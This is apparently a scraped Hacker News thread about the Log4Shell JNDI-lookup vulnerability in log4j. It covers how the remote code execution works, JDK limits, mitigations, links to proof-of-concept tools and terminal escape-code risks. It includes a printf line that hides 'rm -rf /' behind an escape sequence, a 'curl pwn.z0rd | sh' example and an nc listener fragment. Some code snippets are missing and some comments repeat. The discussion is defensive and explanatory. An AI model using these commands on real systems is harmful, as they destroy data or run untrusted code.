So a lot of people sound mad that the logging library is parsing the inputs, and maybe they should be, but the truly paranoid should also be aware that your terminal also parses every byte given to it (to find in-band signalling for colors, window titles, where the cursor should be, etc.). This means that if a malicious user can control log lines, they can also hide stuff if you're looking at the logs in a terminal. Something to be aware of!
While that's an interesting vector for attack, is it realistically an issue? Terminals are run as root all the time. I would guess any mainstream ones are well reviewed to not have such exploits work. Are you aware of any actual attacks exploiting terminal parsing in the wild?
Is it really common to run terminals as root? I can't remember the last time I did. Sure, I open a terminal as my user, and then run 'sudo bash' to get a shell as root, but the terminal is still running as my user. Were you meaning something else?
I've been on Linux since 2000s and still maintain the view that real men log in as root on tty1. It's ironman mode, and pure joy of *nix as it was meant to be experienced. You filthy casual. /s
Noone should be running a terminal as root if it can be avoided. Best practise would be to run the terminal as your user and sudo individual commands as needed. Assuming the command had untrusted output (eg `sudo tail -100F <some log with hostile info>`) the output would still be in your terminal. Any exploit would then need to be in "tail" (because that's the thing in this example you're running as root) or would need to be coupled with a priviledge escalation to get root.
This is the kind of vulnerability the GP was talking about here I think https://nvd.nist.gov/vuln/detail/CVE-2021-27135 and there have been a few in the history of terminals. If you've looked at the code for the historical terms (xterm, rxvt etc) it's very large and kinda gnarly. If you're security or performance-conscious there are probably better choices nowdays (eg Alacritty which I primarily use) which have a much smaller attack surface.
Classic confusion: terminals typically run as users, but the shells in them often run as root.
I could imagine an attack like this:
printf 'rm -rf /\n\033[%iAecho "Hello World!"\n'
When executed in a terminal this looks like it generates an innocent shell script. But when piped into a file and the executed it will delete all your files.
There are terminal control codes (status reports) that cause the terminal to send characters. However it looks like the format won't be very useful for RCE. Some of the codes like the cursor position are controllable by sending other control codes first, but you can't set the cursor position to "curl pwn.z0rd | sh"
I'd be wary of the assumption that mainstream terminals are well reviewed. I'd think terminal software are one of those less glamorous software that doesn't get any attention at all.
similarly to shells and base/foundational software (like logging libraries).
That example is good to clarify but really all it does is show that the vulnerability is indeed in the library, not user error on the part of the application developer. At the end of the day, format-string bugs are essentially unexpected interpolation of user-supplied input, which is what we have here.
The fact that the specific interpolation causes a server-side request is what makes it a server-side request forgery. This isn’ta url input that’s getting an unexpected scheme, the interpolation is required.
Lastly the fact that the server-side request forgery causes unexpected code to be downloaded and executed creates the RCE.
This may seem like needless pedantry, but the reason it’s important is that there are likely other bugs hidden in here, and the RCE is just getting all the attention. For example, our network diallows egress except through a proxy. The initial JNDI request over LDAP isn’t getting anywhere. So we aren’t exposed per the POCs I’ve seen. BUT if JNDI supported HTTPS or data url schemes we would. Also if the interpolation allows any other deserialization attacks through inline payloads we would.
530 comments
[ 3.0 ms ] story [ 342 ms ] threadctrl+f it here: https://logging.apache.org/log4j/2.x/manual/configuration.ht...
https://web.archive.org/web/20211204140505/https://logging.a...
https://issues.apache.org/jira/browse/LOG4J2-3198
https://github.com/apache/logging-log4j2/releases/tag/log4j-...
https://logging.apache.org/log4j/log4j-2.14.1/manual/configu...
Even if approval is required, anyone with admin access can override the lack of approval. (For that user, the merge button is a different color/state: it very clearly warns you when you exercise that right.) I don't think it's clear which is the case here.
(But also note that there is an approval, in addition to the "changes requested". So, even in the scenario that approval is required, the PR could be merged, technically, but it would require dismissing the requested changes in that case, which was not done here.)
I tried reproducing this, and got the POC to hit the LDAP server, but it wouldn't load the test payload.
See also:
- https://github.com/tangxiaofeng7/apache-log4j-poc
- https://github.com/mbechler/marshalsec
- https://github.com/veracode-research/rogue-jndi
Minecraft servers were being actively exploited according to various tweets.
While RCE is not possible without these flags, you will still get pingback, in minecraft's example, allowing you to get the IP of everyone connected.
I got the POC to RCE with `-Dcom.sun.jndi.ldap.object.trustURLCodebase=true` seeming sufficient.
While still not great, I'd expect that to meaningfully reduce the severity for most, as that seems a pretty … odd option to enable.
https://github.com/openjdk/jdk8u/commit/006e84fc77a582552e71...
This change is included in tag jdk8-b01, which was the first release build of Java 8.
I don't think this exploit as described actually works against a default-configured JVM released any time in the last decade. Is there actually an executable PoC which shows otherwise?
Now, it's true there are ways to exploit deserialisation without loading code. You need to find a class in the classpath that does something sketchy when deserialised. There has been a lot of work to clean up such things in recent years, but it's possible some still exist. Again, i would like to see a PoC.
> Apparently there had been a prior patch (CVE-2009-1094) for LDAP, but that was completely ineffective for the factory codebase. Therefore, LDAP names would still allow direct remote code execution for some time after the RMI patch. That “oversight” was only addressed later as CVE-2018-3149 in Java 8u191 (see https://bugzilla.redhat.com/show_bug.cgi?id=1639834).
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...
See https://www.veracode.com/blog/research/exploiting-jndi-injec...
This is insanity.
(I'm not surprised. I worked with Enterprise Java briefly, many years ago. Verbosity and redundancy is a deeply ingrained cultural thing.)
Another commentators states that after Java 8u191 arbitrary code execution isn't possible but you can get pingback: https://news.ycombinator.com/item?id=29505027
Mitigation seems to disable JNDI lookups. Wouldn’t it make more sense to disable parsing altogether? In what possible situation does anyone want their logging library to run eval(…) on arbitrary inputs?!
To see if there are injection points statically, I work on a tool (https://github.com/returntocorp/semgrep) that someone else already wrote a check with: https://twitter.com/lapt0r/status/1469096944047779845 or look for the mitigation with `semgrep -e '$LOGGER.formatMsgNoLookups(true)' --lang java`. For the mitigation, the string should be unique enough that just ripgrep works well too.
https://github.com/PortSwigger/active-scan-plus-plus/commit/...
Just in time to ruin all of the reports project managers present to executives
see https://github.com/apache/logging-log4j2/pull/608#issuecomme...
and you can just delete the affected class
The comment you cited is referring to the option to disable the vulnerable feature, not the vulnerable feature itself.
Per https://github.com/apache/logging-log4j2/pull/608#issuecomme... even log4j 1.x is vulnerable.
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
Also linked from https://logging.apache.org/log4j/2.x/security.html
0: https://www.lunasec.io/docs/blog/log4j-zero-day/
So if you load a class from an unknown source (such as this exploit's example), you are basically allowing RCE.
> This feature gives a false sense of security: nobody has ever done the necessary, extensive, code audit to prove that unpickling untrusted pickles cannot invoke unwanted code, and in fact bugs in the Python 2.2 pickle.py module make it easy to circumvent these security measures.
> We firmly believe that, on the Internet, it is better to know that you are using an insecure protocol than to trust a protocol to be secure whose implementation hasn't been thoroughly checked.
A few years ago, I think around 2016, there was a series of RCEs in many Java apps because they used the Java equivalent of pickle with the Java equivalent of "make pickle safe", which did not work.
In the Java case, it was something like: create a listbox on the screen, which contains a map entry, whose value is a java.beans.Expression object which calls a getter on some object which has side effects that allow an RCE. Because only system code is involved in the chain, Java's stack-based security model determined that this was some internal runtime code making the call, and allowed it. It doesn't make sense to put a security check on any individual step, until the final one which determined it was running in a system context, yet the overall effect was something that should not have been allowed was allowed.
The listbox innocently called toString() and what happened was RCE.
I bet in Python you could use the same concept and construct an object graph where some innocent method call ends up being an RCE. Find an object whose str() calls self.foo.toString(), find an object whose toString() calls self.bar.blah(), find an object whose blah() calls self.asdf.meh(), find an object whose meh() calls os.system(self.cmd). Now you deserialize this graph and RCE is triggered by somebody trying to log the graph.
I don't have experience with this feature but there's similar use cases in log shipping utilities like fluentd
Edit: I read the other link and it looks like some sort of poorly designed RPC functionality or something shrug
Edit 2: Reading https://docs.oracle.com/javase/7/docs/technotes/guides/jndi/..., it sounds like it's a form of service discover of sorts. You talk to a registry server and it provides some object pointing to the real destination
This is basically the response to every type of vulnerability that is based on some spec nobody's read. Same deal with XML entity parsing. Why should it make web requests, FTP requests, etc.?
At some point someone had it as a requirement and everyone else gets to live with it.
I encountered a similar problem recently, my own logger can get the current container/pod IP address, it's painful to tell which host from the IPs in logs, so I had to do a manual DNS lookup to include a hostname instead. I was hoping the logger could automatically do a lookup and cache it for me.
1. the log aggregator doesn't exactly support DNS lookups
2. You have to parse the log first, exactly precisely where the IP part, then do a proper lookup. But sometimes the log is just a mess.
3. where the log aggregator located cannot do host lookup because of different network and different DNS server.
So overall the lookup would better be done locally.
You can eat your pizza slice whichever way you want.
Arguably this would be useful for critical events.
I think 20 years ago it would have been slammed as overkill to have a separate process just to send logs.
Even now actually, there is a flurry of libs/gems to send events/logs/analytics to a remote server (Datadog, NewRelic, Slack…)from the application itself. It’s usually not directly coupled with the logger, but it’s not far.
https://logging.apache.org/log4j/2.x/manual/lookups.html
The problem here is the JNDI lookup because for historical reasons there is code in these providers which causes Java to deserialize and load bytecode if it's found in a result for a lookup against an LDAP server. That exploit was partially fixed in the JDK in 2008, then in 2018, but there are multiple naming providers that are affected.
Yes, it's enabled by default before 2.15.0, released today to mitigate this issue.
https://www.lunasec.io/docs/blog/log4j-zero-day/
See https://github.com/apache/logging-log4j2/pull/608#issuecomme... for more details.
If you are using a version older than 2.10.0 and cannot upgrade, your mitigation choices are:
- Modify every logging pattern layout to say %m{nolookups} instead of %m in your logging config files, see details at https://issues.apache.org/jira/browse/LOG4J2-2109
or
- Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class. Refer to your application's or stack's classloading documentation to understand this behavior.
[1] https://issues.apache.org/jira/browse/LOG4J2-2109 [2] https://github.com/apache/logging-log4j2/pull/607/files [3] https://issues.apache.org/jira/browse/LOG4J2-3198
https://www.lunasec.io/docs/blog/log4j-zero-day/#temporary-m...
https://stackoverflow.com/a/42802636/270317
[4] https://issues.apache.org/jira/browse/LOG4J2-905
[5] https://logging.apache.org/log4j/2.x/changes-report.html#a2....
Checking on the viability of the classloading-based mitigations now across the versions. It seems that LOG4J-1051 was raised [6] to make the class instantiator more tolerant of missing classes, and the resulting changes were released in v2.4 and v2.7. Will check how earlier versions behave in this case.
[6] https://issues.apache.org/jira/browse/LOG4J2-1051
personally, I'd extirpate Java too. but I'm curious: does anyone need and use jndi?
Most people don't take "log injection" that seriously as a bug class in Java. There are usually no consequences for ignoring it, so it's common. The RCE adds a lot of flavour to an otherwise bland bug.
I love the irony here though - given how people using Java tend to think its unexploitable compared to C/C++ code. This is arguably way worse than a format string exploit. Even user sanitized data gives you full RCE. And via url headers/strings. This feels like a 1990s web era exploit, it's pretty insane.
1: https://www.sudo.ws/security/advisories/sudo_debug/
Could you update your mitigation steps to explain how to set the "log4g.formatMsgNoLookups" config? It's not clear whether this is a property that goes into the log4j config or into the JVM args.
It's listen in the log4j docs here[0] as a feature. Funny enough, they actually call out the security mitigations they have in place for this in there with:
"When using LDAP only references to the local host name or ip address are supported along with any hosts or ip addresses listed in the log4j2.allowedLdapHosts property."
... I'm guessing they must have broken this, or the exploit found a bypass for those? I'll do some digging and update the blog post if I find anything interesting.
0: https://logging.apache.org/log4j/2.x/manual/lookups.html#Jnd...
I'll ask again because the information presented so far both in this thread on GitHub and on Twitter has been very lacking: is it necessary to return the input string back to the attacker in the response to their request in order for them to exploit this bug as you are doing in your example code?
It's the kind of feature I've seen in some software in the past.
That's just a guess though.
In C, it's unsafe to do
because variable will get parsed as a format string. The way to solve the vulnerability is Is that the same in Java logging libraries? Is it well-known that the logged value will be parsed? What's the safe way to log a value in Java exactly, knowing that nothing will parse that value?What gets parsed is a string that tells the server to make a request to another server. If you use a weird protocol for that, like jndi:ldap, you can then return a class which will be automatically loaded.
So the code injection happens as the response to the remote request. The part the logger plays is that you can initiate that remote request by having the logger log some special string.
1. Attacker-controlled data is being parsed as code (format code, not Java code). I'm not sure to what degree this is the logging library's fault vs programmer error passing attacker-controlled data as a format string. I know in Go, the standard libraries take care to help programmers avoid this problem by making sure to have the character "f" in the function name to indicate the function parameter is a format string. log.Print() takes data, log.Printf() takes a format string, log.Fatal() takes data, log.Fatalf() takes a format string.
2. The format string syntax contains significantly exploitable features if an attacker can control it. This is the same as in C, because in C, printf() contains exploitable features. This is not the case in Go, because the worst the attacker can do in Go is cause the formatting to be strange or the .String() or .Error() methods to be called on the other inputs.
Note that even without 2, 1 is still a correctness problem. If I want to log attacker-controlled data, I want it to display accurately. If the attacker's User-Agent header contains weird characters, I want those to be logged exactly, not inadvertently transformed into something strange by my library.
Safe way should be something like `logger.info("a={}", a)`. Of course nobody's preventing log4j to parse any argument in any way they like. And they actually do. So with log4j there's no safe way it seems.
As a possible solution you can set MDC variables at the higher level, they are bound to the current thread, and reference them in the format string, and unset them after processing the entity. It's not a great solution due to temporal coupling, and you typically print it outside of an individual logging statements (e.g. add it to all logging statements), but it definitely beats drilling dozens of methods with the diagnostic identifiers.
https://github.com/apache/logging-log4j2/blame/master/log4j-...
A person is smart, but people are dumb.
The easiest way to support this would just be to allow JNDI lookups from log strings. Unfortunately, that enables all sorts of lookups!
IMHO, the real bug here is that the LDAP JNDI provider will load class files from arbitrary untrusted sources. That is an obviously terrible idea, regardless of whether JNDI is being used from a logging string or somewhere else.
It sounds like a classic X-to-Y-to-Z problem. Someone connected X to Y thinking Y was pretty safe even with untrusted input, not knowing it would ever proxy to Z (probably, everything you can do with JNDI on a local machine is safe). Someone else connected Y to Z thinking that Y is only passed trusted values so the new proxy feature could only be triggered deliberately. And here we are. This class of bug should have a name but probably doesn't.
And another person didn't document well that log messages must be trusted input...
JNDI was the "Java Naming and Directory Interface", part of the suite of CORBA-like Java-only distributed object tooling.
My guess is that the "lookups" feature in log4j assumed that all URL protocols were "http:" or "https:" and didn't account for either the full set of built-in protocol handlers or the fact that an application can register additional protocol handlers.
Those config measures were put in place as part of the fix for this issue. I.e they didn't exist before the fix was released.
Edit: This is wrong - the exploit works anywhere in log messages, even parameters: https://news.ycombinator.com/item?id=29506397
Seems like a late contender for dumbest/most-unnecessary RCE award in 2021. Java is uncannily good at those for a memory-safe language.
I'm not sure what that has to do with the performance of concurrenthashmap under heavy collisions... ?
[0]https://fahrplan.events.ccc.de/congress/2011/Fahrplan/attach...
[1]https://openjdk.java.net/jeps/180
[2]https://stackoverflow.com/questions/8669946/application-vuln...
Security really is hard to get right.
Any paper/presentation that I can read? I seem to be having a hard time findin it.
EDIT: nevermind, the issue apparently arises outside of formatting strings—though it would have been nice if the example had demonstrated this.
The issue occurs in incorrect logging code such as:
> logger.info("Data: " + data);
But the correct way of logging the above data is:
> logger.info("Data: {}", data);
It's analogous to using something like the following in C:
> printf(data);
In the incorrect cases (log4j or C), the user input is being used as a format string, and the user can likely cause an RCE. This is an issue in C for reasons that should be obvious. Java has historically been used very reflectively, so whenever there's some expression interpreter or deserialiser involved, there's a good chance it could be RCEd with arbitrary input.
I'm not sure how this interacts with the RCE issue reported here.
EDIT: That's because I was thinking of Slf4j, which has additional smarts here.
> logger.info("Data: {}");
would effectively turn into something safe:
> logger.info("{}", "Data: {}");
And the issue would only arise if someone mixes the two patterns:
> logger.info("Data for " + username + ": {}", data);
Overall, I don't like the sound of that feature, since it blurs the line between correct and incorrect use of the logging API. The first argument should always be a constant formatting string.
I guess aesthetically you could argue either way, but I think the main purpose of the formatting string method is that you can write:
> logger.trace("Updates: {}", longListOfUpdates);
and if trace logging is disabled (which can be done dynamically), it's not going to invoke `longListOfUpdates.toString()`, which is what happens when you perform string concatenation. If it didn't work that way, I suspect people would end up writing extra `logger.isTraceEnabled()` conditions around their logging code.
Start nc (nc -lp 1234) and run this
i've argued no given the complexity of today's logging pipelines and caught a lot of flak for it in the past... now i feel vindicated.
I don't trust my own input. I tend to copy&paste, and I've messed up from pasting something that was previously in the clipboard because I didn't actually hit the right keyboard shortcut when I was copying the data I thought I was. I wasn't even attempting to be malicious, but I accidentally tried a SQL Inject attack on myself because of it.
DON'T EVER TRUST USER PROVIDED INPUT!!! AHHHHH!
In the database case it's no different to adding any other record supplied by the user. In the case of a file, consideration has to be given about what assumptions other tools that process that file may make - e.g. if they assume one record per line, then the data should be escaped appropriately (simple approach is to use JSON string escaping, or just make the whole log entry a JSON object).
If the logging system is built by someone who thought it was a good idea to parse the string, use the result to make network requests, and then executing arbitrary code based on the data received over the network, then all bets are off.
AND escaping any control/unicode* characters. encodeURIComponent() if that's the best you have, but log files need to be safe against unsuspecting sysadmins viewing/grepping/catting these. and even NT4 had a blue screen bug you could trigger by TYPE-ing the wrong file in a console..
(*) well if you need to, whitelist some safe ranges, but there's scary stuff in unicode eg with the bi-directional escapes or zero width spaces to make viewing/grepping hard.
It's got as many eyeballs in it as you could ever hope, and it's as mature as any piece of software ever could be.
And its job is to write text to files. It's basically a wrapper around printf.
How did this get screwed up?
Security is impossible.
The only winning move is not to code!
....OR learn to live in a state of constant vulns and put guardrails in place so that you can avoid shooting yourself in the foot as much as possible. In this case strict ngress/egress firewall rules in prod would prevent this from ever being exploited from what I've read on the vuln thus far.
I set one up (free, no account) and then when I did an nslookup or curl I saw the DNS hits coming in
Is that expected? Should I be running the dnsbinclient.py they provide? (I don't have the websocket module installed right now.) I did run `curl a54c4d391bad1b48ebc3.d.requestbin.net` before the nslookup, could that have made a difference here?
It looks like Vodafone (I assume this is your ISP) DNS servers aren't properly resolving the name for some reason. You could try bypassing it with dig, and directly ask a different DNS server to resolve it:
My ISP isn't Vodafone directly (I take it you think that because 83.146.21.6 belongs to them?) but might be a Vodafone reseller or something.
The part of log4j functionality that gets used in practice, most of the time, is just a wrapper around printf which adds a timestamp and a log-level. This is very quick and easy to write. A library in this role should have zero RCEs, ever in its entire lifetime, or it is unfit for purpose.
The complexity in logging libraries like this are much greater than they seem like they should be, specifically because they’re designed to abstract a lot of integration use cases in a way that feels like it just works. Marshaling data between even a few services introduces a lot of potential for mistakes.
https://logging.apache.org/log4j/log4j-2.2/performance.html
That's a pretty naive view of what's needed in an enterprise logging solution.
logging to files, separate logging, remote logging, log rotation, logging 3rd party code...
Of course if you're simply sending lines to the terminal in a simple program you don't need log4j.
But once you scale, you'd be spending 3 weeks implementing what you get for free in log4j.
Playing application log janitor is miserable. Just ship the logs and be done with it.
I agree that log configuration is a pain in the butt and oftentimes messy (especially when some third party lib includes a line to basically wipe your global config and everything gets wonky), but it's not like the heavy value adds are easy and bug-free to write!
So, don't. Ship the logs as quickly and as simply to a system which is explicitly for log management.
The choice isn't between writing huge logging libraries or using log4j, it's whether you want an application to handle its own flat-file logging and rotation in the first place.
Java has always been obnoxiously complex to steer towards sane, basic, modern syslog, which I think is a shame.
Depending on the velocity at which the log barf was being produced, we sometimes had a short window in which we could manually (!) log in via SSH (!) and restart filebeat to force it to close the open file handles at the cost of losing everything being buffered locally (!).
For example, Hibernate has full query logging built in, but even if you filter locally with some logging demon, pushing 100 - 1k queries / second to stdout or a file is going to cripple performance.
With a logging framework like Log4J or SLF4J you can have this query logging, and you can enable it within 1 monitor run (usually 60s) at runtine and disable it 4-5 minutes later. This is very, very powerful in production.
Logs are streams, not files. To a first approximation, you should just log to standard out, and let another system take care of sending your output to either a file (with rotation) or logstash, or syslog, or a whatever else is appropriate. To a second approximation (if you’re already using stdout for something else), the thing you’re logging to should still be a file descriptor, but not a file per se. (perhaps a local socket to a logging system like syslog.)
I don’t need everything on my system that logs, to invent its own log output directory, and implement its own log rotation. That’s how you get a mishmash of different places where logs end up living, and they become very difficult to collate or compare, etc.
That's the issue though isn't it, a lot of people don't need those features, just the prettifying and formatting, levels selectable by classpath and basic bits. log4j is great at these things and has become the standard for these things as much as anything else.
And with a lot of stuff being done by microservices, serverless functions etc, you have other pieces that pick up the logs and do all the smart processing. Especially 'at scale'.
So a capable but simple logging library is probably a good option. Perhaps log4j could split.
I... don't think this is true? When I was using it we used log rotation, log truncation, configurable output formatting that could be made consistent across the code or specialized in certain parts of the code base that required more detailed logging, masking credit card numbers and emails in log statements, and doing all of the logging async to not impact performance. And I'm sure there are features it has which I didn't mention.
You're better off learning the de-facto libraries of your language. Your employer, or any production application you're going to work on is probably going to use one of these libraries.
I learned the most common Java libraries when writing personal projects -- Lombok, log4j, Guava, Gson, Jackson, Netty, etc.
I had a significantly gentler learning curve at my first job. We used these common libraries, so I had a very easy time when I had to edit log filtering or fix log rotations of our applications.
Because otherwise you have to depend on skills of a third party library maintainer you have no communication with or contract agreement with, to protect his/her codebase from getting security backdoors, which other malicious actors will constantly try to inject it with, if the library is known to be used by various large enterprises.
Coding with third party libraries is about trust, for simpler functions and packages its usually worth it long term to code it in-house. It’s easier to maintain, only comes with features you need and you’re always aware of what capabilities your code has.
I’m everyday impressed how relatively less npm with node, etc get hacked, considering they use additional third-party libraries for 4 liner functions too.
For one, the very reason we are all in this thread right now.
more libraries = more attack surface.
Also, Gson and Guava are both fantastic libraries
Sure records are pretty cool but Lombok does do a few other things as well.
I've always written my own loggers, doesn't even take more than an hour in C#-land. log4net is quite a beast so I avoid it. Serilog is pretty cool though, but in most cases I just roll my own. Other than that, .net core comes with its own loggers and logging abstractions, so half the time you don't have to write your own anymore, and if you do, its super pluggable.
But without dependency on - org.apache.logging.log4j:log4j-core
in this situation, is this safe from this RCE? Thanks.
Edit, This may affect both log4j 2.x and log4j 1.x (see comments bellow, thanks.)
That's not what https://github.com/apache/logging-log4j2/pull/608#issuecomme... says
``` I believe that applications that use log4j-api with log4j-to-slf4j, without using log4j-core, are not impacted by this vulnerability. (Because the lookup and JNDI implementations are in log4j-core.)
```
says that LDAP, DNS, RMI Registry, and CORBA Name Service are included in Java, and others may be discovered at load time (but I bet they aren't because that's very niche).
DNS could be gnarly if serialized objects can be stored in txt records.
For full details of how this works, use a vulnerable log4j version, log a simple (bad) lookup, and step through with a debugger for a while.
Sources:
By default the class will be named "com.sun.jndi.url.<scheme>.<scheme>URLContextFactory"So for example, if your schema, the class will be "com.sun.jndi.url.ldap.ldapURLContextFactory".
But also note that many of these schemes can return referrals/redirects to other protocols.
it's worse with web stuff though... and it's a real vector.
https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=terminal+es...
https://packetstormsecurity.com/files/162518/AWS-CloudShell-...
https://nvd.nist.gov/vuln/detail/CVE-2017-0899
https://github.com/InfosecMatter/terminal-escape-injections
Is it really common to run terminals as root? I can't remember the last time I did. Sure, I open a terminal as my user, and then run 'sudo bash' to get a shell as root, but the terminal is still running as my user. Were you meaning something else?
Which, incidentally, is the most pleasurable way of experiencing UNIX and UNIX-likes. (Shellboxen)
Also one common way to install "DevOps" stuff piping scripts from curl (and them being asked for root)
This is the kind of vulnerability the GP was talking about here I think https://nvd.nist.gov/vuln/detail/CVE-2021-27135 and there have been a few in the history of terminals. If you've looked at the code for the historical terms (xterm, rxvt etc) it's very large and kinda gnarly. If you're security or performance-conscious there are probably better choices nowdays (eg Alacritty which I primarily use) which have a much smaller attack surface.
I could imagine an attack like this:
printf 'rm -rf /\n\033[%iAecho "Hello World!"\n'
When executed in a terminal this looks like it generates an innocent shell script. But when piped into a file and the executed it will delete all your files.
This is a really ridiculous assumption.
similarly to shells and base/foundational software (like logging libraries).
Bash itself goes for long spans of time without updates in their release versions https://git.savannah.gnu.org/cgit/bash.git
I wonder of any bug bounties would give you a chain bonus for this one lol
The fact that the specific interpolation causes a server-side request is what makes it a server-side request forgery. This isn’ta url input that’s getting an unexpected scheme, the interpolation is required.
Lastly the fact that the server-side request forgery causes unexpected code to be downloaded and executed creates the RCE.
This may seem like needless pedantry, but the reason it’s important is that there are likely other bugs hidden in here, and the RCE is just getting all the attention. For example, our network diallows egress except through a proxy. The initial JNDI request over LDAP isn’t getting anywhere. So we aren’t exposed per the POCs I’ve seen. BUT if JNDI supported HTTPS or data url schemes we would. Also if the interpolation allows any other deserialization attacks through inline payloads we would.